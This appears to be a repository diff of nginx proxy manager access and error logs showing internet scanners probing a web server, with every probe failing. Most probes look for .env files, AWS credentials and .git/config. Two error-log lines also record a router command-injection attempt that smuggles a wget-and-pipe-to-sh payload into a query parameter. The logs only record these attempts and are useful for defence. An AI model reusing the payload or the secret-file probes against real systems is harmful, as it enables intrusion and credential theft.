[16/Feb/2026:21:16:22 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:21:17:55 +0000] 200 - GET http 222.117.41.51 "/" [Client 89.42.231.200] [Length 1033] [Gzip -] "-" "-"
[16/Feb/2026:21:24:43 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:21:33:56 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[16/Feb/2026:21:37:28 +0000] 200 - GET http 222.117.41.51 "/" [Client 197.245.24.60] [Length 1033] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-"
[16/Feb/2026:21:42:04 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:21:50:25 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:22:12:00 +0000] 200 - GET http 222.117.41.51 "/" [Client 195.178.110.245] [Length 568] [Gzip 1.86] "Mozilla/5.0 zgrab/0.x" "-"
[16/Feb/2026:22:15:03 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:22:17:12 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:22:21:11 +0000] 200 - GET http 222.117.41.51 "/" [Client 176.65.139.8] [Length 1033] [Gzip -] "-" "-"
[16/Feb/2026:22:31:29 +0000] 404 - GET http 222.117.41.51 "/admin/config.php" [Client 102.22.20.125] [Length 150] [Gzip -] "xfa1,nvdorz,nvd0rz" "-"
[16/Feb/2026:22:34:55 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:22:38:55 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:22:40:53 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[16/Feb/2026:22:42:14 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 93.174.93.12] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:22:47:09 +0000] 200 - GET http localhost-nginx-proxy-manager "/" [Client 93.174.93.12] [Length 1033] [Gzip -] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" "-"
[16/Feb/2026:23:05:58 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:23:25:06 +0000] 400 - - http localhost "-" [Client 66.240.205.34] [Length 154] [Gzip -] "-" "-"
[16/Feb/2026:23:28:03 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:23:30:59 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[16/Feb/2026:23:32:05 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:23:39:10 +0000] 200 - GET http 222.117.41.51 "/" [Client 89.42.231.200] [Length 1033] [Gzip -] "-" "-"
[16/Feb/2026:23:56:19 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[16/Feb/2026:23:58:43 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.135.193.11] [Length 1033] [Gzip -] "Mozilla/5.0 (compatible; NetScope/1.0; +http://45.135.193.11/; security research scanner \xE2\x80\x94 submit exclusion requests at the linked URL)" "-"
[16/Feb/2026:23:58:43 +0000] 404 - GET http 222.117.41.51 "/.env" [Client 45.135.193.11] [Length 150] [Gzip -] "Mozilla/5.0 (compatible; NetScope/1.0; +http://45.135.193.11/; security research scanner \xE2\x80\x94 submit exclusion requests at the linked URL)" "-"
[16/Feb/2026:23:58:43 +0000] 404 - GET http 222.117.41.51 "/.env.local" [Client 45.135.193.11] [Length 150] [Gzip -] "Mozilla/5.0 (compatible; NetScope/1.0; +http://45.135.193.11/; security research scanner \xE2\x80\x94 submit exclusion requests at the linked URL)" "-"
[16/Feb/2026:23:58:44 +0000] 404 - GET http 222.117.41.51 "/.env.staging" [Client 45.135.193.11] [Length 150] [Gzip -] "Mozilla/5.0 (compatible; NetScope/1.0; +http://45.135.193.11/; security research scanner \xE2\x80\x94 submit exclusion requests at the linked URL)" "-"
[16/Feb/2026:23:58:45 +0000] 404 - GET http 222.117.41.51 "/.env.production" [Client 45.135.193.11] [Length 150] [Gzip -] "Mozilla/5.0 (compatible; NetScope/1.0; +http://45.135.193.11/; security research scanner \xE2\x80\x94 submit exclusion requests at the linked URL)" "-"
[16/Feb/2026:23:58:46 +0000] 404 - GET http 222.117.41.51 "/.env.development" [Client 45.135.193.11] [Length 150] [Gzip -] "Mozilla/5.0 (compatible; NetScope/1.0; +http://45.135.193.11/; security research scanner \xE2\x80\x94 submit exclusion requests at the linked URL)" "-"
[16/Feb/2026:23:58:46 +0000] 404 - GET http 222.117.41.51 "/.aws/credentials" [Client 45.135.193.11] [Length 150] [Gzip -] "Mozilla/5.0 (compatible; NetScope/1.0; +http://45.135.193.11/; security research scanner \xE2\x80\x94 submit exclusion requests at the linked URL)" "-"
[16/Feb/2026:23:58:47 +0000] 404 - GET http 222.117.41.51 "/app/.env" [Client 45.135.193.11] [Length 150] [Gzip -] "Mozilla/5.0 (compatible; NetScope/1.0; +http://45.135.193.11/; security research scanner \xE2\x80\x94 submit exclusion requests at the linked URL)" "-"
[16/Feb/2026:23:58:47 +0000] 404 - GET http 222.117.41.51 "/config.json" [Client 45.135.193.11] [Length 150] [Gzip -] "Mozilla/5.0 (compatible; NetScope/1.0; +http://45.135.193.11/; security research scanner \xE2\x80\x94 submit exclusion requests at the linked URL)" "-"
[17/Feb/2026:00:07:01 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[17/Feb/2026:00:17:15 +0000] 400 - GET http localhost "/" [Client 104.28.233.73] [Length 154] [Gzip -] "-" "-"
[17/Feb/2026:00:18:41 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[17/Feb/2026:00:21:36 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[17/Feb/2026:00:26:10 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[17/Feb/2026:00:37:05 +0000] 400 - GET http 222.117.41.51 "/" [Client 185.180.141.44] [Length 654] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" "-"
[17/Feb/2026:00:37:11 +0000] 400 - POST http 222.117.41.51 "/mcp" [Client 185.180.141.42] [Length 252] [Gzip -] "python-httpx/0.28.1" "-"
[17/Feb/2026:00:37:12 +0000] 400 - GET http 222.117.41.51 "/sse" [Client 185.180.141.42] [Length 252] [Gzip -] "python-httpx/0.28.1" "-"
[17/Feb/2026:00:37:12 +0000] 400 - GET http 222.117.41.51 "/favicon.ico" [Client 185.180.141.42] [Length 654] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" "-"
[17/Feb/2026:00:37:54 +0000] 404 - GET http 222.117.41.51 "/hudson" [Client 20.163.14.222] [Length 122] [Gzip 1.35] "Mozilla/5.0 zgrab/0.x" "-"
[17/Feb/2026:00:43:58 +0000] 404 - GET http 222.117.41.51 "/developmentserver/metadatauploader" [Client 20.80.88.32] [Length 122] [Gzip 1.35] "Mozilla/5.0 zgrab/0.x" "-"
[17/Feb/2026:00:46:30 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[17/Feb/2026:00:50:21 +0000] 200 - GET http 222.117.41.51 "/" [Client 159.224.204.12] [Length 1033] [Gzip -] "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-"
[17/Feb/2026:00:50:58 +0000] 200 - GET http 222.117.41.51 "/" [Client 89.42.231.200] [Length 1033] [Gzip -] "-" "-"
[17/Feb/2026:00:54:29 +0000] 200 - GET http 222.117.41.51 "/" [Client 43.153.119.119] [Length 568] [Gzip 1.86] "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" "-"
[17/Feb/2026:01:03:32 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[17/Feb/2026:01:12:08 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[17/Feb/2026:01:13:04 +0000] 400 - - http localhost "-" [Client 176.65.148.19] [Length 154] [Gzip -] "-" "-"
[17/Feb/2026:01:17:34 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[17/Feb/2026:01:37:29 +0000] 200 - GET http localhost-nginx-proxy-manager "/" [Client 198.235.24.75] [Length 1033] [Gzip -] "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" "-"
[17/Feb/2026:01:37:36 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[17/Feb/2026:01:56:11 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[17/Feb/2026:02:03:10 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[17/Feb/2026:02:18:33 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[17/Feb/2026:02:23:39 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 122.97.137.32] [Length 154] [Gzip -] "-" "-"
[17/Feb/2026:02:27:33 +0000] 200 - GET http 222.117.41.51 "/" [Client 172.104.11.46] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" "-"
[17/Feb/2026:02:27:54 +0000] 404 - GET http 222.117.41.51 "/.env" [Client 34.158.168.101] [Length 150] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Firefox/121.0" "-"
[17/Feb/2026:02:27:54 +0000] 400 - GET http 222.117.41.51 "/.env" [Client 34.158.168.101] [Length 252] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Firefox/121.0" "-"
[17/Feb/2026:02:27:55 +0000] 400 - GET http 222.117.41.51 "/" [Client 34.158.168.101] [Length 654] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0" "-"
[17/Feb/2026:02:27:55 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-"
[17/Feb/2026:02:27:57 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-"
[17/Feb/2026:02:30:07 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"

View File

@@ -222,3 +222,28 @@
2026/02/16 09:52:08 [error] 862#862: *34322 open() "/var/www/html/druid/index.html" failed (2: No such file or directory), client: 20.65.195.53, server: localhost-nginx-proxy-manager, request: "GET /druid/index.html HTTP/1.1", host: "222.117.41.51" 2026/02/16 09:52:08 [error] 862#862: *34322 open() "/var/www/html/druid/index.html" failed (2: No such file or directory), client: 20.65.195.53, server: localhost-nginx-proxy-manager, request: "GET /druid/index.html HTTP/1.1", host: "222.117.41.51"
2026/02/16 11:43:31 [error] 862#862: *35923 open() "/var/www/html/.env" failed (2: No such file or directory), client: 34.158.168.101, server: localhost-nginx-proxy-manager, request: "GET /.env HTTP/1.1", host: "222.117.41.51:80" 2026/02/16 11:43:31 [error] 862#862: *35923 open() "/var/www/html/.env" failed (2: No such file or directory), client: 34.158.168.101, server: localhost-nginx-proxy-manager, request: "GET /.env HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 12:02:39 [error] 874#874: *35956 open() "/var/www/html/.git/config" failed (2: No such file or directory), client: 104.192.2.62, server: localhost-nginx-proxy-manager, request: "GET /.git/config HTTP/1.1", host: "222.117.41.51" 2026/02/16 12:02:39 [error] 874#874: *35956 open() "/var/www/html/.git/config" failed (2: No such file or directory), client: 104.192.2.62, server: localhost-nginx-proxy-manager, request: "GET /.git/config HTTP/1.1", host: "222.117.41.51"
2026/02/16 13:42:13 [error] 878#878: *37548 open() "/var/www/html/robots.txt" failed (2: No such file or directory), client: 152.32.250.21, server: localhost-nginx-proxy-manager, request: "GET /robots.txt HTTP/1.1", host: "222.117.41.51"
2026/02/16 13:42:13 [error] 878#878: *37549 open() "/var/www/html/sitemap.xml" failed (2: No such file or directory), client: 152.32.250.21, server: localhost-nginx-proxy-manager, request: "GET /sitemap.xml HTTP/1.1", host: "222.117.41.51"
2026/02/16 13:42:13 [error] 878#878: *37550 open() "/var/www/html/config.json" failed (2: No such file or directory), client: 152.32.250.21, server: localhost-nginx-proxy-manager, request: "GET /config.json HTTP/1.1", host: "222.117.41.51"
2026/02/16 15:54:02 [error] 874#874: *39230 open() "/var/www/html/portal/redlion" failed (2: No such file or directory), client: 40.74.212.73, server: localhost-nginx-proxy-manager, request: "GET /portal/redlion HTTP/1.1", host: "222.117.41.51"
2026/02/16 17:45:22 [error] 872#872: *39262 open() "/var/www/html/.env" failed (2: No such file or directory), client: 34.158.168.101, server: localhost-nginx-proxy-manager, request: "GET /.env HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 17:52:32 [error] 872#872: *39271 open() "/var/www/html/.env" failed (2: No such file or directory), client: 34.158.168.101, server: localhost-nginx-proxy-manager, request: "GET /.env HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 18:22:45 [error] 887#887: *39281 open() "/var/www/html/dispatch.asp" failed (2: No such file or directory), client: 195.3.221.86, server: localhost-nginx-proxy-manager, request: "GET /dispatch.asp HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 20:02:18 [error] 882#882: *39430 open() "/var/www/html/manager/text/list" failed (2: No such file or directory), client: 20.169.105.85, server: localhost-nginx-proxy-manager, request: "GET /manager/text/list HTTP/1.1", host: "222.117.41.51"
2026/02/16 20:07:05 [error] 882#882: *39435 open() "/var/www/html/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 221.159.119.6, server: localhost-nginx-proxy-manager, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh) HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 20:07:05 [error] 882#882: *39436 open() "/var/www/html/cgi-bin/luci/;stok=/locale" failed (2: No such file or directory), client: 221.159.119.6, server: localhost-nginx-proxy-manager, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh) HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 20:34:09 [error] 882#882: *39532 open() "/var/www/html/.env" failed (2: No such file or directory), client: 34.158.168.101, server: localhost-nginx-proxy-manager, request: "GET /.env HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 20:40:18 [error] 882#882: *39551 open() "/var/www/html/.env" failed (2: No such file or directory), client: 34.158.168.101, server: localhost-nginx-proxy-manager, request: "GET /.env HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 20:42:10 [error] 882#882: *39569 open() "/var/www/html/.git/config" failed (2: No such file or directory), client: 195.178.110.162, server: localhost-nginx-proxy-manager, request: "GET /.git/config HTTP/1.1", host: "222.117.41.51"
2026/02/16 22:31:29 [error] 886#886: *39792 open() "/var/www/html/admin/config.php" failed (2: No such file or directory), client: 102.22.20.125, server: localhost-nginx-proxy-manager, request: "GET /admin/config.php HTTP/1.0", host: "222.117.41.51"
2026/02/16 23:58:43 [error] 895#895: *39989 open() "/var/www/html/.env" failed (2: No such file or directory), client: 45.135.193.11, server: localhost-nginx-proxy-manager, request: "GET /.env HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 23:58:43 [error] 895#895: *39989 open() "/var/www/html/.env.local" failed (2: No such file or directory), client: 45.135.193.11, server: localhost-nginx-proxy-manager, request: "GET /.env.local HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 23:58:44 [error] 895#895: *39989 open() "/var/www/html/.env.staging" failed (2: No such file or directory), client: 45.135.193.11, server: localhost-nginx-proxy-manager, request: "GET /.env.staging HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 23:58:45 [error] 895#895: *39989 open() "/var/www/html/.env.production" failed (2: No such file or directory), client: 45.135.193.11, server: localhost-nginx-proxy-manager, request: "GET /.env.production HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 23:58:46 [error] 895#895: *39989 open() "/var/www/html/.env.development" failed (2: No such file or directory), client: 45.135.193.11, server: localhost-nginx-proxy-manager, request: "GET /.env.development HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 23:58:46 [error] 895#895: *39989 open() "/var/www/html/.aws/credentials" failed (2: No such file or directory), client: 45.135.193.11, server: localhost-nginx-proxy-manager, request: "GET /.aws/credentials HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 23:58:47 [error] 895#895: *39989 open() "/var/www/html/app/.env" failed (2: No such file or directory), client: 45.135.193.11, server: localhost-nginx-proxy-manager, request: "GET /app/.env HTTP/1.1", host: "222.117.41.51:80"
2026/02/16 23:58:47 [error] 895#895: *39989 open() "/var/www/html/config.json" failed (2: No such file or directory), client: 45.135.193.11, server: localhost-nginx-proxy-manager, request: "GET /config.json HTTP/1.1", host: "222.117.41.51:80"
2026/02/17 00:37:54 [error] 901#901: *40043 open() "/var/www/html/hudson" failed (2: No such file or directory), client: 20.163.14.222, server: localhost-nginx-proxy-manager, request: "GET /hudson HTTP/1.1", host: "222.117.41.51"
2026/02/17 00:43:58 [error] 902#902: *40045 open() "/var/www/html/developmentserver/metadatauploader" failed (2: No such file or directory), client: 20.80.88.32, server: localhost-nginx-proxy-manager, request: "GET /developmentserver/metadatauploader HTTP/1.1", host: "222.117.41.51"
2026/02/17 02:27:54 [error] 898#898: *40379 open() "/var/www/html/.env" failed (2: No such file or directory), client: 34.158.168.101, server: localhost-nginx-proxy-manager, request: "GET /.env HTTP/1.1", host: "222.117.41.51:80"

File diff suppressed because it is too large Load Diff

View File

@@ -249,3 +249,161 @@
2026/02/16 10:04:45 [warn] 863#863: *34353 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/36/0000009367 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/" 2026/02/16 10:04:45 [warn] 863#863: *34353 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/36/0000009367 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 10:04:45 [warn] 863#863: *34353 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/36/0000009368 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/" 2026/02/16 10:04:45 [warn] 863#863: *34353 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/36/0000009368 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 12:00:56 [warn] 872#872: *35941 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/11/0000010112 while reading upstream, client: 211.234.204.1, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/" 2026/02/16 12:00:56 [warn] 872#872: *35941 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/11/0000010112 while reading upstream, client: 211.234.204.1, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 14:21:29 [warn] 874#874: *37574 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/86/0000010861 while reading upstream, client: 64.227.134.113, server: hanmocnn.co.kr, request: "GET /assets/images/favicon.ico HTTP/1.1", upstream: "http://192.168.0.250:8081/assets/images/favicon.ico", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:02:34 [warn] 884#884: *39314 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/86/0000010862 while reading upstream, client: 66.249.66.78, server: hanmocnn.co.kr, request: "GET /assets/images/favicon.ico HTTP/1.1", upstream: "http://192.168.0.250:8081/assets/images/favicon.ico", host: "www.hanmocnn.co.kr"
2026/02/16 19:21:51 [warn] 884#884: *39338 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/86/0000010863 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:24:26 [warn] 884#884: *39350 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/86/0000010864 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:24:26 [warn] 884#884: *39350 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/86/0000010865 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:24:26 [warn] 884#884: *39350 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/86/0000010866 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom7.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom7.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:33:39 [warn] 884#884: *39364 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/86/0000010867 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/16 19:33:39 [warn] 884#884: *39364 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/86/0000010868 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
